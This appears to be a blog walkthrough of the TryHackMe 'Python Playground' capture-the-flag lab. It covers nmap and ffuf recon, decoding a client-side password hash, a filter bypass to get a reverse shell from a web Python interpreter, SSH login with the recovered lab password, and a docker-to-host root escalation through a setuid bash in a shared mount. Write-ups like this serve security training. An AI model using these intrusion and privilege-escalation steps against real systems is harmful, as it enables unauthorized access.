Skip to main content
K4oS writeups

Python Playground – TryHackMe

K4oS 3 years ago

We start with an nmap scan

$ nmap -sCV -p- -v 10.10.205.99
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have two ports open. 22 running SSH and 80 running HTTP!
Let’s access the website:

Let’s try and sign up!

Okay, so we cannot sign up or log in. Let’s run ffuf

$ ffuf -w SecLists/Discovery/Web-Content/raft-medium-words.txt -u http://10.10.205.99/FUZZ -e .html
...SNIP..
admin.html              [Status: 200]
login.html              [Status: 200]
index.html              [Status: 200]
signup.html             [Status: 200]
.........

admin.html? That sure sounds interesting! Let’s check it out.

Alright! We haven’t got any credentials so let’s inspect the source of the page!

...SNIP
      // I suck at server side code, luckily I know how to make things secure without it - Connor

      function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }

      document.forms[0].onsubmit = function (e){
          e.preventDefault();

          if(document.getElementById('username').value !== 'connor'){
            document.getElementById('fail').style.display = '';
            return false;
          }

          const chosenPass = document.getElementById('inputPassword').value;

          const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));

          if(hash === 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'){
            window.location = 'super-secret-admin-testing-panel.html';
          }else {
            document.getElementById('fail').style.display = '';
          }
          return false;
      }
....

We see this code checks for a password and redirects us to super-secret-admin-testing-panel.html.

Why don’t we just go there manually?

Bingo! It looks like an online python interpreter! Let’s try and execute a reverse shell.

Looks like they have some sort of filtering going on!
I know a little trick where instead of typing “import os” you can do “os = __import__(‘os’)

Let’s try it out:

Now let’s click on go and check out netcat listener!

$ nc -lvnp 1234
Connection from 10.10.205.99:58026
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:/# cat /root/flag1.txt
THM{7e0b5cf043975e3c104a458a8d....

Root already? let’s check if this is a docker container.

root@playgroundweb:~/app# ls -la /
ls -la /
total 60
drwxr-xr-x   1 root root 4096 May 16  2020 .
drwxr-xr-x   1 root root 4096 May 16  2020 ..
-rwxr-xr-x   1 root root    0 May 16  2020 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15  2020 boot
...

The file /.dockerenv tells us we are in a docker container!
Let’s check if we have any connections to the main system:

root@playgroundweb:/# ls /mnt
log
root@playgroundweb:/# ls /mnt/log
alternatives.log  cloud-init-output.log  installer  lxd
apt               cloud-init.log         journal    syslog
auth.log          dist-upgrade           kern.log   tallylog
bootstrap.log     dpkg.log               landscape  unattended-upgrades
btmp              faillog                lastlog    wtmp

It seems we have the system logs! But unfortunately, we cannot do much with these.
Before, we had a password that was encoded in some type of way in the admin.html site.
Inspecting the code further I wrote a little script in the browser to reverse the encoding of this text:

function decode(hash) {
 txt = ""
 final = ""

 for(let i=0;i<hash.length;i+=2){
  let parta = (hash.charCodeAt(i) -97)*26
  let partb = hash.charCodeAt(i+1) -97
  txt += String.fromCharCode(parta+partb);
 }

 for(let i=0;i<txt.length;i+=2){
   let parta = (txt.charCodeAt(i) -97)*26
   let partb = txt.charCodeAt(i+1) -97
   final += String.fromCharCode(parta+partb);
 }

 return final

}

Let’s run this in the browser!

> decode("dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu")
"spaghetti1245" 

We found the password!
Now let’s try logging in as Connor:

$ ssh [email protected]
[email protected]'s password: spaghetti1245 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jun 16 18:04:48 UTC 2022

  System load:  0.0               Processes:              94
  Usage of /:   49.4% of 9.78GB   Users logged in:        0
  Memory usage: 49%               IP address for eth0:    10.10.205.99
  Swap usage:   0%                IP address for docker0: 172.17.0.1


32 packages can be updated.
0 updates are security updates.


Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)    
connor@pythonplayground:~$ cat flag2.txt 
THM{69a36d6f9da10d23ca0...

Okay! We are in!
Now that we have access to a folder in the system as the user root of the docker container (uid 0), we can write a file and it would be like the root user of the main system wrote it!
So let’s copy bash to the log folder, add the setUID bit to execute as root, and run it with -p to not drop privileges! “$” will be for the Connor user and “#” for the root docker user.

# touch /mnt/log/bash
# chmod 777 /mnt/log/bash
$ cp /bin/bash /var/log/bash
# chmod +s /mnt/log/bash
$ /var/log/bash -p
bash-4.4# id
uid=1000(connor) gid=1000(connor) euid=0(root) egid=0(root) groups=0(root),1000(connor)

Yes! We are root! Now let’s read the final flag!

bash-4.4# cat /root/flag3.txt
THM{be3adc69c25ad14.....

I hope you enjoyed this writeup!